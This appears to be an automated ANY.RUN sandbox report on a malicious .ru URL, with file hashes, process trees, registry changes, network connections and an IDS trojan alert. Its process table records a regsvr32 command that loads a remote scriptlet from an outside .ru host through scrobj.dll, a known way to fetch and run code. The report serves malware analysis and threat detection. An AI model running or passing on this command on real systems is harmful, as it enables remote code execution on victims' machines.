URL:

http://server1.aserdefa.ru/deploy.xml%20scrobj.dll

Full analysis: https://app.any.run/tasks/e1a5004c-ec9d-4c57-a327-a0a76fe32434
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

Analysis date: June 07, 2021, 02:35:02
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
sinkhole
Indicators:
MD5:

FA322366D149320C830277ACF1094D76

SHA1:

74F1F84EBEB150A7192D4D0CF1A94A05B8DC82EE

SHA256:

070D5DA619618B30F86ACBDFDEC86D72D7797F4F602216C07189F5E1A5FD0CE1

SSDEEP:

3:N1KNAXWS/6Aa8JIYW/J:CSJfJqJ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Runs remote scriptlet

      • cmd.exe (PID: 2964)
  • SUSPICIOUS

    • Creates files in the user directory

      • regsvr32.exe (PID: 2444)
  • INFO

    • Application launched itself

      • iexplore.exe (PID: 756)
    • Reads internet explorer settings

      • iexplore.exe (PID: 1776)
    • Reads settings of System Certificates

      • iexplore.exe (PID: 756)
    • Manual execution by user

      • cmd.exe (PID: 2964)
    • Changes internet zones settings

      • iexplore.exe (PID: 756)
    • Creates files in the user directory

      • iexplore.exe (PID: 756)
    • Changes settings of System certificates

      • iexplore.exe (PID: 756)
    • Adds / modifies Windows certificates

      • iexplore.exe (PID: 756)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
4
Malicious processes
0
Suspicious processes
0

Behavior graph

Click at the process to see the details
start iexplore.exe iexplore.exe no specs cmd.exe no specs regsvr32.exe

Process information

PID
CMD
Path
Indicators
Parent process
756"C:\Program Files\Internet Explorer\iexplore.exe" "http://server1.aserdefa.ru/deploy.xml%20scrobj.dll"C:\Program Files\Internet Explorer\iexplore.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
1776"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:756 CREDAT:267521 /prefetch:2C:\Program Files\Internet Explorer\iexplore.exeiexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
2444regsvr32.exe /s /n /u /i:http://server.39slxu3bw.ru/deploy.xml scrobj.dllC:\Windows\System32\regsvr32.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft(C) Register Server
Exit code:
5
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\regsvr32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2964"C:\Windows\system32\cmd.exe" C:\Windows\system32\cmd.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
903
Read events
806
Write events
94
Delete events
3

Modification events

(PID) Process:(756) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\UrlBlockManager
Operation:writeName:NextCheckForUpdateLowDateTime
Value:
3566374984
(PID) Process:(756) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\UrlBlockManager
Operation:writeName:NextCheckForUpdateHighDateTime
Value:
30890821
(PID) Process:(756) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(756) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(756) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(756) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Operation:writeName:CompatibilityFlags
Value:
0
(PID) Process:(756) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(756) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
46000000A5000000010000000000000000000000000000000000000000000000C0E333BBEAB1D301000000000000000000000000020000001700000000000000FE800000000000007D6CB050D9C573F70B000000000000006D00330032005C004D00530049004D004700330032002E0064006C000100000004AA400014AA4000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C0A8016400000000000000000000000000000000000000000800000000000000805D3F00983740000008000002000000000000600000002060040000B8A94000020000008802000060040000B8A9400004000000F8010000B284000088B64000B84B400043003A000000000000000000000000000000000000000000
(PID) Process:(756) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(756) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
Executable files
0
Suspicious files
11
Text files
11
Unknown types
5

Dropped files

PID
Process
Filename
Type
756iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
MD5:
SHA256:
756iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Internet Explorer\VersionManager\ver23A5.tmp
MD5:
SHA256:
756iexplore.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\G8UOVXOM.txt
MD5:
SHA256:
756iexplore.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\4KAWETGD.txt
MD5:
SHA256:
756iexplore.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\ESLOAUCB.txt
MD5:
SHA256:
756iexplore.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\XMGDMGBA.txt
MD5:
SHA256:
756iexplore.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\0XWS0XL0.txt
MD5:
SHA256:
756iexplore.exeC:\Users\admin\AppData\Local\Temp\~DF8477FEAB87FA682D.TMP
MD5:
SHA256:
1776iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\DY534W2X\errorPageStrings[1]text
MD5:
SHA256:
756iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776der
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
11
DNS requests
11
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
756
iexplore.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
US
der
471 b
whitelisted
756
iexplore.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
US
der
471 b
whitelisted
756
iexplore.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8Ull8gIGmZT9XHrHiJQeI%3D
US
der
1.47 Kb
whitelisted
756
iexplore.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8Ull8gIGmZT9XHrHiJQeI%3D
US
der
1.47 Kb
whitelisted
756
iexplore.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
US
der
471 b
whitelisted
2444
regsvr32.exe
GET
200
63.251.106.25:80
http://server.39slxu3bw.ru/deploy.xml
US
binary
20 b
malicious
756
iexplore.exe
GET
200
204.79.197.200:80
http://www.bing.com/favicon.ico
US
image
4.19 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2444
regsvr32.exe
63.251.106.25:80
server.39slxu3bw.ru
Voxel Dot Net, Inc.
US
malicious
756
iexplore.exe
204.79.197.200:443
www.bing.com
Microsoft Corporation
US
whitelisted
756
iexplore.exe
93.184.220.29:80
ocsp.digicert.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
756
iexplore.exe
204.79.197.200:80
www.bing.com
Microsoft Corporation
US
whitelisted
756
iexplore.exe
152.199.19.161:443
iecvlist.microsoft.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted

DNS requests

Domain
IP
Reputation
server1.aserdefa.ru
unknown
api.bing.com
  • 13.107.5.80
whitelisted
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
iecvlist.microsoft.com
  • 152.199.19.161
whitelisted
r20swj13mr.microsoft.com
  • 152.199.19.161
whitelisted
ocsp.digicert.com
  • 93.184.220.29
whitelisted
ieonline.microsoft.com
  • 204.79.197.200
whitelisted
server.39slxu3bw.ru
  • 63.251.106.25
malicious

Threats

PID
Process
Class
Message
2444
regsvr32.exe
A Network Trojan was detected
ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz
No debug info